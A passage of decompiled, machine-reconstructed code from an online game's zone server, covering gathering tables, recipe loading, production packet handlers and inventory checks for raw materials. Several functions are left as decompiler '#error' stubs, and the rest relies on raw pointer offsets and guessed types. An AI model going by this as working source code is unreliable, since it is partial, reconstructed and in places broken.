0; } //----- (00447B30) -------------------------------------------------------- void __thiscall GatherProduce::GatherTable::gt_Load(GatherProduce::GatherTable *this) { GatherProduce::GatherTable *v1; // esi@1 int v2; // edi@1 unsigned int v3; // eax@1 void *v4; // eax@1 unsigned int v5; // ebx@4 void *v6; // eax@6 unsigned int v7; // eax@8 unsigned int v8; // eax@10 unsigned int v9; // eax@12 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GatherProduce::GatherTable::gt_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GatherProduce::GatherTable::gt_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; BinaryDataBox::bdb_ReadData(&v1->gt_BinData, "../9Data/Shine/Gather.shn"); v3 = v1->gt_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v1->gt_Number = v3; v4 = operator new__(12 * v3); v1->gt_Array = (GatherProduce::GatherTable::GatherIndex *)v4; if ( v4 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "GatherProduce::GatherTable::gt_Load : Memory leak", 0); ShineExit("GatherProduce::GatherTable::gt_Load"); } v5 = 0; if ( v1->gt_Number > 0 ) { do { if ( v5 < v1->gt_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord(&v1->gt_BinData.baseclass_0.baseclass_0, v5); else v6 = &v1->gt_BinData.bdb_defaultblock; v1->gt_Array[v2].index = (GatherInfo *)v6; v7 = BTree::operator__(&stru_12510618, v1->gt_Array[v2].index->NeededTool0); if ( v7 == -1 ) LOWORD(v7) = -1; v1->gt_Array[v2].tool[0] = v7; v8 = BTree::operator__(&stru_12510618, v1->gt_Array[v2].index->NeededTool1); if ( v8 == -1 ) LOWORD(v8) = -1; v1->gt_Array[v2].tool[1] = v8; v9 = BTree::operator__(&stru_12510618, v1->gt_Array[v2].index->NeededTool2); if ( v9 == -1 ) LOWORD(v9) = -1; v1->gt_Array[v2].tool[2] = v9; BTree::bt_Insert(&skillnametree, v1->gt_Array[v2].index->Index, v1->gt_Array[v2].index->GatherID); ++v5; ++v2; } while ( v5 < v1->gt_Number ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GatherProduce::GatherTable::gt_Load"); } //----- (00447CF0) -------------------------------------------------------- void __thiscall GatherProduce::RecipeBook::RecipeBook(GatherProduce::RecipeBook *this) { GatherProduce::RecipeBook *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->rb_BinData.baseclass_0); memset(&v1->rb_BinData.bdb_defaultblock, 0, 0x194u); HIWORD(v1->rb_BinData.bdb_defaultblock.NeededMasteryGain) = 0; v1->rb_Array = 0; } //----- (00447D20) -------------------------------------------------------- void __thiscall GatherProduce::RecipeBook::_RecipeBook(GatherProduce::RecipeBook *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->rb_Array ) operator delete(this->rb_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (00447D40) -------------------------------------------------------- void __thiscall GatherProduce::RecipeBook::rb_Load(GatherProduce::RecipeBook *this) { GatherProduce::RecipeBook *v1; // esi@1 int v2; // eax@1 void *v3; // eax@1 unsigned int v4; // eax@4 int v5; // edi@5 void *v6; // eax@8 unsigned int v7; // eax@10 int v8; // ecx@12 int v9; // eax@12 int v10; // edx@12 int v11; // eax@12 signed int v12; // ebx@12 const char *v13; // ebp@13 const char v14; // al@13 unsigned int v15; // eax@15 const char **v16; // [sp+8h] [bp-38h]@12 int i; // [sp+Ch] [bp-34h]@4 int raw; // [sp+14h] [bp-2Ch]@12 int v19; // [sp+18h] [bp-28h]@12 int v20; // [sp+1Ch] [bp-24h]@12 int v21; // [sp+20h] [bp-20h]@12 int v22; // [sp+24h] [bp-1Ch]@12 int v23; // [sp+28h] [bp-18h]@12 int v24; // [sp+2Ch] [bp-14h]@12 int v25; // [sp+30h] [bp-10h]@12 int v26; // [sp+3Ch] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GatherProduce::RecipeBook::rb_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GatherProduce::RecipeBook::rb_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v26 = 0; BinaryDataBox::bdb_ReadData(&v1->rb_BinData, "../9Data/Shine/Produce.shn"); v2 = v1->rb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v1->rb_Number = v2; v3 = operator new__(76 * v2); v1->rb_Array = (GatherProduce::RecipeBook::ProductIndex *)v3; if ( v3 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "GatherProduce::RecipeBook::rb_Load : Memory leak", v3 != 0); ShineExit("GatherProduce::RecipeBook::rb_Load"); } v4 = 0; i = 0; if ( v1->rb_Number > 0 ) { v5 = 0; while ( 1 ) { if ( v4 < v1->rb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord(&v1->rb_BinData.baseclass_0.baseclass_0, v4); else v6 = &v1->rb_BinData.bdb_defaultblock; v1->rb_Array[v5].index = (ProduceInfo *)v6; v7 = BTree::operator__(&stru_12510618, v1->rb_Array[v5].index->Product); if ( v7 == -1 ) LOWORD(v7) = -1; v1->rb_Array[v5].product = v7; v1->rb_Array[v5].productlot = v1->rb_Array[v5].index->Lot; v8 = (int)&v1->rb_Array[v5]; v9 = *(_DWORD *)v8; raw = *(_DWORD *)v8 + 102; v19 = v9 + 138; v20 = v9 + 174; v21 = v9 + 210; v22 = v9 + 246; v23 = v9 + 282; v24 = v9 + 318; v10 = v9 + 354; *(_DWORD *)(v8 + 16) = *(_DWORD *)(v9 + 134); v11 = (int)&v1->rb_Array[v5]; v25 = v10; *(_DWORD *)(v11 + 24) = *(_DWORD *)(*(_DWORD *)v11 + 170); v1->rb_Array[v5].raw[2].quantity = v1->rb_Array[v5].index->Quantity2; v1->rb_Array[v5].raw[3].quantity = v1->rb_Array[v5].index->Quantity3; v1->rb_Array[v5].raw[4].quantity = v1->rb_Array[v5].index->Quantity4; v1->rb_Array[v5].raw[5].quantity = v1->rb_Array[v5].index->Quantity5; v1->rb_Array[v5].raw[6].quantity = v1->rb_Array[v5].index->Quantity6; v1->rb_Array[v5].raw[7].quantity = v1->rb_Array[v5].index->Quantity7; v12 = 0; v16 = (const char **)&raw; do { v13 = *v16; v14 = **v16; if ( v14 != 45 && v14 ) { v15 = BTree::operator__(&stru_12510618, *v16); if ( v15 == -1 ) LOWORD(v15) = -1; v1->rb_Array[v5].raw[v12].item = v15; if ( v1->rb_Array[v5].raw[v12].item == -1 ) { AssertClass::ac_AssertFail(&shineassert, "GatherProduce::RecipeBook::rb_Load : Invalid Raw", v13); ShineExit("GatherProduce::RecipeBook::rb_Load"); } } else { v1->rb_Array[v5].raw[v12].item = -1; } ++v12; ++v16; } while ( v12 < 8 ); ++v5; ++i; if ( i >= v1->rb_Number ) break; v4 = i; } } qsort(v1->rb_Array, v1->rb_Number, 0x4Cu, GatherProduce::RecipeBook::rb_Compare); --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GatherProduce::RecipeBook::rb_Load"); } //----- (00448070) -------------------------------------------------------- #error "448070: undefined or illegal type '#440' (funcsize=131)" //----- (00448270) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShinePlayer::sp_GatherCheck(void *this, int gathertype, int picker) { void *v3; // ebp@1 int j; // eax@1 char *v5; // eax@3 int v6; // edi@5 __int16 v7; // si@6 int v8; // ecx@7 int v9; // eax@8 int toolnum; // [sp+10h] [bp-34h]@5 unsigned int i; // [sp+14h] [bp-30h]@1 signed int v13; // [sp+18h] [bp-2Ch]@5 int v14; // [sp+1Ch] [bp-28h]@2 int ibii; // [sp+24h] [bp-20h]@7 char *v16; // [sp+28h] [bp-1Ch]@7 int v17; // [sp+2Ch] [bp-18h]@10 int v18; // [sp+30h] [bp-14h]@10 __int16 v19; // [sp+34h] [bp-10h]@10 int v20; // [sp+40h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GatherCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GatherCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; *(_WORD *)picker = -1; i = 0; for ( j = 0; ; j = v14 + 12 ) { v14 = j; if ( i >= gathertable.gt_Number ) break; v5 = (char *)gathertable.gt_Array + j; if ( !v5 ) break; if ( *(_DWORD *)(*(_DWORD *)v5 + 34) == gathertype ) { toolnum = 0; v6 = (int)(v5 + 4); v13 = 3; do { v7 = *(_WORD *)v6; if ( *(_WORD *)v6 == -1 ) { ++toolnum; } else { v8 = (int)((char *)v3 + 35568); ibii = (int)ItemBoxIterator::_vftable_; v16 = (char *)v3 + 35568; if ( v3 == (void *)-91688 ) v9 = (*(int (**)(void))(*(_DWORD *)v8 + 8))(); else v9 = (*(int (__stdcall **)(char *))(*(_DWORD *)v8 + 4))((char *)v3 + 91688); v18 = v9; ibii = (int)&ItemBoxIterIdent::_vftable_; v19 = v7; LOBYTE(v20) = 1; v17 = 0; if ( (unsigned __int8)ItemBoxIterIdent::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { if ( *(_WORD *)picker == -1 ) *(_WORD *)picker = *(_WORD *)v6; ++toolnum; } LOBYTE(v20) = 0; ibii = (int)ItemBoxIterator::_vftable_; } v6 += 2; --v13; } while ( v13 ); if ( toolnum == 3 ) { --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GatherCheck"); return 2817; } } ++i; } --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GatherCheck"); return 2828; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6AC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (00448450) -------------------------------------------------------- #error "448450: undefined or illegal type '#440' (funcsize=112)" //----- (00448600) -------------------------------------------------------- #error "448600: undefined or illegal type '#331' (funcsize=107)" //----- (004487C0) -------------------------------------------------------- #error "4487C0: undefined or illegal type '#331' (funcsize=200)" //----- (00448AB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CAST_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // eax@5 int v6; // eax@7 GatherProduce::RecipeBook::ProductIndex *v7; // edi@12 SkillDataBox::SkillDataIndex *v8; // eax@15 char *v9; // eax@17 int v10; // ST04_4@17 int v11; // eax@17 signed int v12; // [sp-4h] [bp-30h]@4 FunctionEntarance _; // [sp+10h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@17 int v15; // [sp+28h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; if ( !(_S16_3 & 1) ) { _S16_3 |= 1u; cmc_32.cmc_AllowMode = 6; atexit(_E17_5); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_32.cmc_AllowMode) ) { v12 = 2820; LABEL_20: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 54, v12); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ"); return; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 || !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 163) ) { v12 = 2833; goto LABEL_20; } v6 = *((_DWORD *)v4 + 23042); if ( v6 == 2 || v6 == 3 ) { v12 = 2823; goto LABEL_20; } if ( CharaterSkillList::csl_CoolTimeCheck((CharaterSkillList *)v4 + 3412, (#331 *)v4, *(_WORD *)(netcmd + 2)) ) { ShineObjectClass::ShineMobileObject::SkillCastStruct::scs_Clear((char *)v4 + 7172); v7 = GatherProduce::RecipeBook::operator__(&recipebook, *(_WORD *)(netcmd + 2)); if ( AssertClass::operator__( &shineassert, v7 != 0, "ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CAST_REQ : Skill cannot found", 0) || AssertClass::operator__( &shineassert, v7->product != -1, "ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CAST_REQ : Invalid Item Produce", 0) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 54, 2825); } else { v8 = SkillDataBox::operator__(&skilldatabox, *(_WORD *)(netcmd + 2)); *((_DWORD *)v4 + 1798) = v8; if ( AssertClass::operator__( &shineassert, v8 != 0, "ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ : Invalid skill", *(_WORD *)(netcmd + 2)) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 54, 2825); } else { *((_DWORD *)v4 + 1793) = 1000 * ((unsigned int)((unsigned int)(10 * *(_DWORD *)(*(_DWORD *)(*((_DWORD *)v4 + 1798) + 4) + 191)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6) / *((_WORD *)v4 + 45860) + clockwatch.cw_CurrTick; *((_WORD *)v4 + 3588) = *(_WORD *)(netcmd + 2); *((_BYTE *)v4 + 7214) = 0; *((_DWORD *)v4 + 1797) = 0; *((_DWORD *)v4 + 1796) = 0; *((_DWORD *)v4 + 1799) = v7; v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8248; *((_WORD *)v9 + 1) = *((_WORD *)v4 + 2); *((_WORD *)v9 + 2) = v7->product; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v10 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v15) = 1; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v11, v10, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v15) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } v15 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 54, 2824); v15 = -1; FunctionEntarance::_FunctionEntarance(&_); } } //----- (00448DD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@5 int v6; // ST04_4@5 int v7; // eax@5 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@5 int v9; // [sp+20h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; if ( !(_S18_15 & 1) ) { _S18_15 |= 1u; cmc_33.cmc_AllowMode = 6; atexit(_E19_11); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_33.cmc_AllowMode && *((_DWORD *)v4 + 1793) ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8250; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v6 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v9) = 1; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v7, v6, 0, 0, (int)&alchat, 0, 65535); *((_DWORD *)v4 + 1793) = 0; LOBYTE(v9) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD"); } //----- (00448F20) -------------------------------------------------------- #error "448F20: undefined or illegal type '#440' (funcsize=44)" //----- (00448FE0) -------------------------------------------------------- void __thiscall ItemProducer::_ItemProducer(ItemProducer *this) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemProducer::~ItemProducer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemProducer::~ItemProducer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::~ItemProducer"); } //----- (00449020) -------------------------------------------------------- unsigned __int16 __thiscall ItemProducer::ip_WhereProductStore(ItemProducer *this) { ItemProducer *v1; // ebp@1 int v2; // eax@1 ItemDataBox::ItemDataBoxIndex *v3; // esi@1 GatherProduce::RecipeBook::ProductIndex *v4; // eax@1 unsigned __int16 result; // ax@2 ChargedEffectContainer *v6; // edx@3 __int16 v7; // bx@3 int v8; // ecx@3 int v9; // eax@4 int v10; // eax@6 int v11; // ebx@7 int v12; // eax@9 ChargedEffectContainer *v13; // eax@11 int v14; // ecx@11 int v15; // eax@12 GatherProduce::RecipeBook::ProductIndex *v16; // esi@13 int v17; // eax@13 InventoryLocking::InventoryCellLock *v18; // eax@15 int v19; // ST08_4@16 CServerInfo::MY_SERVER *v20; // eax@16 GatherProduce::RecipeBook::ProductIndex *v21; // eax@16 ItemAttributeClass *v22; // esi@16 ItemBoxIterator *v23; // eax@16 int *uii; // [sp+14h] [bp-48h]@6 int v25; // [sp+18h] [bp-44h]@6 int v26; // [sp+1Ch] [bp-40h]@6 InventoryLocking::UnlockedInventoryIterator thisa; // [sp+20h] [bp-3Ch]@15 int ibie; // [sp+2Ch] [bp-30h]@11 int v29; // [sp+30h] [bp-2Ch]@11 int v30; // [sp+38h] [bp-24h]@15 int ibii; // [sp+3Ch] [bp-20h]@3 int v32; // [sp+40h] [bp-1Ch]@3 int v33; // [sp+48h] [bp-14h]@6 __int16 v34; // [sp+4Ch] [bp-10h]@6 int v35; // [sp+58h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemProducer::ip_WhereProductStore"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemProducer::ip_WhereProductStore"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->ip_Skill->product; v35 = 0; v3 = ItemDataBox::operator__(&itemdatabox, v2); v4 = v1->ip_Skill; if ( v3 ) { v6 = v1->ip_ChargedEffectContainer; v7 = v4->product; v8 = (int)v1->ip_Inventory; ibii = (int)ItemBoxIterator::_vftable_; v32 = v8; if ( v6 ) v9 = (*(int (__stdcall **)(ChargedEffectContainer *))(*(_DWORD *)v8 + 4))(v6); else v9 = (*(int (**)(void))(*(_DWORD *)v8 + 8))(); v33 = v9; ibii = (int)&ItemBoxIterIdent::_vftable_; v34 = v7; v10 = (int)v1->ip_ItemLock; uii = &ibii; LOBYTE(v35) = 1; v25 = v10; v26 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { do { v11 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); if ( v11 != 0 ) { v12 = (*(int (__stdcall **)(int))(**(_DWORD **)(v11 + 112) + 24))(v11 + 8); if ( v12 + v1->ip_Skill->productlot <= v3->data->MaxLot ) { v1->ip_Product.cell = (ItemInventoryCell *)v11; memcpy(&v1->ip_Product.iti, (const void *)v11, sizeof(v1->ip_Product.iti)); v16 = v1->ip_Skill; v1->ip_Product.iac = *(ItemAttributeClass **)(v11 + 112); (*(void (__stdcall **)(SHINE_ITEM_STRUCT *, int))(**(_DWORD **)(v11 + 112) + 28))( &v1->ip_Product.iti.iti_itemstruct, v12 + v16->productlot); v17 = uii[2]; v1->ip_Product.iscreated = 0; ibii = (int)ItemBoxIterator::_vftable_; goto LABEL_17; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_PICK_REQ : Invalid cell", 0); } } while ( InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ); } v13 = v1->ip_ChargedEffectContainer; v14 = (int)v1->ip_Inventory; LOBYTE(v35) = 0; ibie = (int)ItemBoxIterator::_vftable_; v29 = v14; if ( v13 ) v15 = (*(int (__stdcall **)(ChargedEffectContainer *))(*(_DWORD *)v14 + 4))(v13); else v15 = (*(int (**)(void))(*(_DWORD *)v14 + 8))(); v30 = v15; ibie = (int)&ItemBoxIterEmpty::_vftable_; v18 = v1->ip_ItemLock; thisa.uii_Iterator = (ItemBoxIterator *)&ibie; LOBYTE(v35) = 2; thisa.uii_LockList = v18; thisa.uii_InvenType = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&thisa) ) { v1->ip_Product.cell = (ItemInventoryCell *)(**(int (__stdcall ***)(_DWORD))thisa.uii_Iterator->ibi_itembag)(thisa.uii_Iterator->ibi_finger); v19 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v20 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum(&v1->ip_Product.iti, 8, v20->nZoneNo, v19); v21 = v1->ip_Skill; v1->ip_Product.iti.iti_itemstruct.itemid = v21->product; v22 = ItemAttributeClassContainer::operator__(&itmattcontainer, v21->product); v22->vfptr->iac_SetLot(v22, &v1->ip_Product.iti.iti_itemstruct, v1->ip_Skill->productlot); v23 = thisa.uii_Iterator; v1->ip_Product.iac = v22; v17 = v23->ibi_finger; v1->ip_Product.iscreated = 1; ibie = (int)ItemBoxIterator::_vftable_; LABEL_17: v1->ip_Product.slot = v17; --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_WhereProductStore"); result = 2817; } else { --funcallanalizer.fca_stackpoint; ibie = (int)ItemBoxIterator::_vftable_; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_WhereProductStore"); result = 2826; } } else { AssertClass::ac_AssertFail(&shineassert, "ItemProducer::ip_WhereProductStore : Invalid Item", v4->product); --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_WhereProductStore"); result = 2819; } return result; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A8: using guessed type int (__thiscall *ItemBoxIterEmpty___vftable_)(_DWORD); // 59C6AC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (00449340) -------------------------------------------------------- unsigned __int16 __thiscall ItemProducer::ip_FindRaw(ItemProducer *this, unsigned __int16 raw, int quantity) { ItemProducer *v3; // ebx@1 int v4; // ecx@1 int v5; // edi@1 int v6; // edx@1 int v7; // eax@1 int v9; // ebp@4 int v10; // eax@6 int v11; // ecx@6 int v12; // edx@7 int v13; // edx@7 int v14; // edi@8 int *uii; // [sp+14h] [bp-2Ch]@1 int v16; // [sp+18h] [bp-28h]@1 int v17; // [sp+1Ch] [bp-24h]@1 int ibii; // [sp+20h] [bp-20h]@1 int v19; // [sp+24h] [bp-1Ch]@1 int v20; // [sp+2Ch] [bp-14h]@1 unsigned __int16 v21; // [sp+30h] [bp-10h]@1 int v22; // [sp+3Ch] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemProducer::ip_FindRaw"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemProducer::ip_FindRaw"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (int)v3->ip_Inventory; v5 = (int)ItemBoxIterator::_vftable_; ibii = (int)ItemBoxIterator::_vftable_; v19 = v4; v6 = *(_DWORD *)v4; v22 = 0; v20 = (*(int (**)(void))(v6 + 8))(); ibii = (int)&ItemBoxIterIdent::_vftable_; v21 = raw; v7 = (int)v3->ip_ItemLock; uii = &ibii; LOBYTE(v22) = 1; v16 = v7; v17 = 9; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { --funcallanalizer.fca_stackpoint; ibii = (int)ItemBoxIterator::_vftable_; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_FindRaw"); return 2827; } while ( 1 ) { if ( v3->ip_RawNumber >= 0x40u ) { AssertClass::ac_AssertFail(&shineassert, "ItemProducer::ip_FindRaw : Too many raws", 0); --funcallanalizer.fca_stackpoint; ibii = v5; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_FindRaw"); return 2827; } v9 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); if ( v9 != 0 ) break; AssertClass::ac_AssertFail(&shineassert, "ItemProducer::ip_Produce : Invalid cell", 0); LABEL_11: if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { ibii = v5; v22 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_FindRaw"); return (((quantity > 0) - 1) & 0xFFF6) + 2827; } } v10 = (*(int (__stdcall **)(int))(**(_DWORD **)(v9 + 112) + 24))(v9 + 8); v11 = v3->ip_RawNumber << 7; if ( v10 <= quantity ) { *(ItemAttributeClass **)((char *)&v3->ip_Raw[0].iac + v11) = 0; v14 = (int)&v3->ip_Raw[v3->ip_RawNumber].iti; memcpy((void *)v14, (const void *)v9, 0x6Cu); v14 += 108; *(_WORD *)v14 = *(_WORD *)(v9 + 108); *(_BYTE *)(v14 + 2) = *(_BYTE *)(v9 + 110); v3->ip_Raw[v3->ip_RawNumber].slot = uii[2]; v3->ip_Raw[v3->ip_RawNumber].cell = (ItemInventoryCell *)v9; v13 = quantity - v10; *(_DWORD *)&v3->ip_Raw[v3->ip_RawNumber].iscreated = v10; quantity -= v10; } else { memcpy((char *)&v3->ip_Raw[0].iti + v11, (const void *)v9, 0x6Fu); v3->ip_Raw[v3->ip_RawNumber].iac = *(ItemAttributeClass **)(v9 + 112); (*(void (__stdcall **)(SHINE_ITEM_STRUCT *, int))(**(_DWORD **)(v9 + 112) + 28))( &v3->ip_Raw[v3->ip_RawNumber].iti.iti_itemstruct, v10 - quantity); v3->ip_Raw[v3->ip_RawNumber].slot = uii[2]; v12 = quantity; v3->ip_Raw[v3->ip_RawNumber].cell = (ItemInventoryCell *)v9; quantity = 0; *(_DWORD *)&v3->ip_Raw[v3->ip_RawNumber].iscreated = v12; v13 = 0; } ++v3->ip_RawNumber; if ( v13 > 0 ) { v5 = (int)ItemBoxIterator::_vftable_; goto LABEL_11; } --funcallanalizer.fca_stackpoint; ibii = (int)ItemBoxIterator::_vftable_; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_FindRaw"); return 2817; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6AC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (00449680) -------------------------------------------------------- unsigned __int16 __thiscall ItemProducer::ip_ProduceCheck(ItemProducer *this) { ItemProducer *v1; // edi@1 unsigned __int16 result; // ax@1 unsigned int v3; // esi@2 GatherProduce::RecipeBook::ProductIndex *v4; // eax@3 unsigned __int16 v5; // cx@3 v1 = this; result = ItemProducer::ip_WhereProductStore(this); if ( result == 2817 ) { v3 = 0; v1->ip_RawNumber = 0; while ( 1 ) { v4 = v1->ip_Skill; v5 = v4->raw[v3].item; if ( v5 != -1 ) { result = ItemProducer::ip_FindRaw(v1, v5, v4->raw[v3].quantity); if ( result != 2817 ) break; } ++v3; if ( v3 >= 8 ) return 2817; } } return result; } //----- (004496E0) -------------------------------------------------------- #error "4496E0: undefined or illegal type '#440' (funcsize=252)" //----- (00449A10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ItemProduce(void *ecx0, unsigned __int16 skill) { void *v2; // esi@1 NETCOMMAND *v3; // ebp@1 char *v4; // edi@1 GatherProduce::RecipeBook::ProductIndex *v5; // ebx@1 int v6; // eax@4 int v7; // edx@5 unsigned __int16 v8; // ax@7 int v9; // eax@11 int v10; // edi@12 ZoneBaseSession 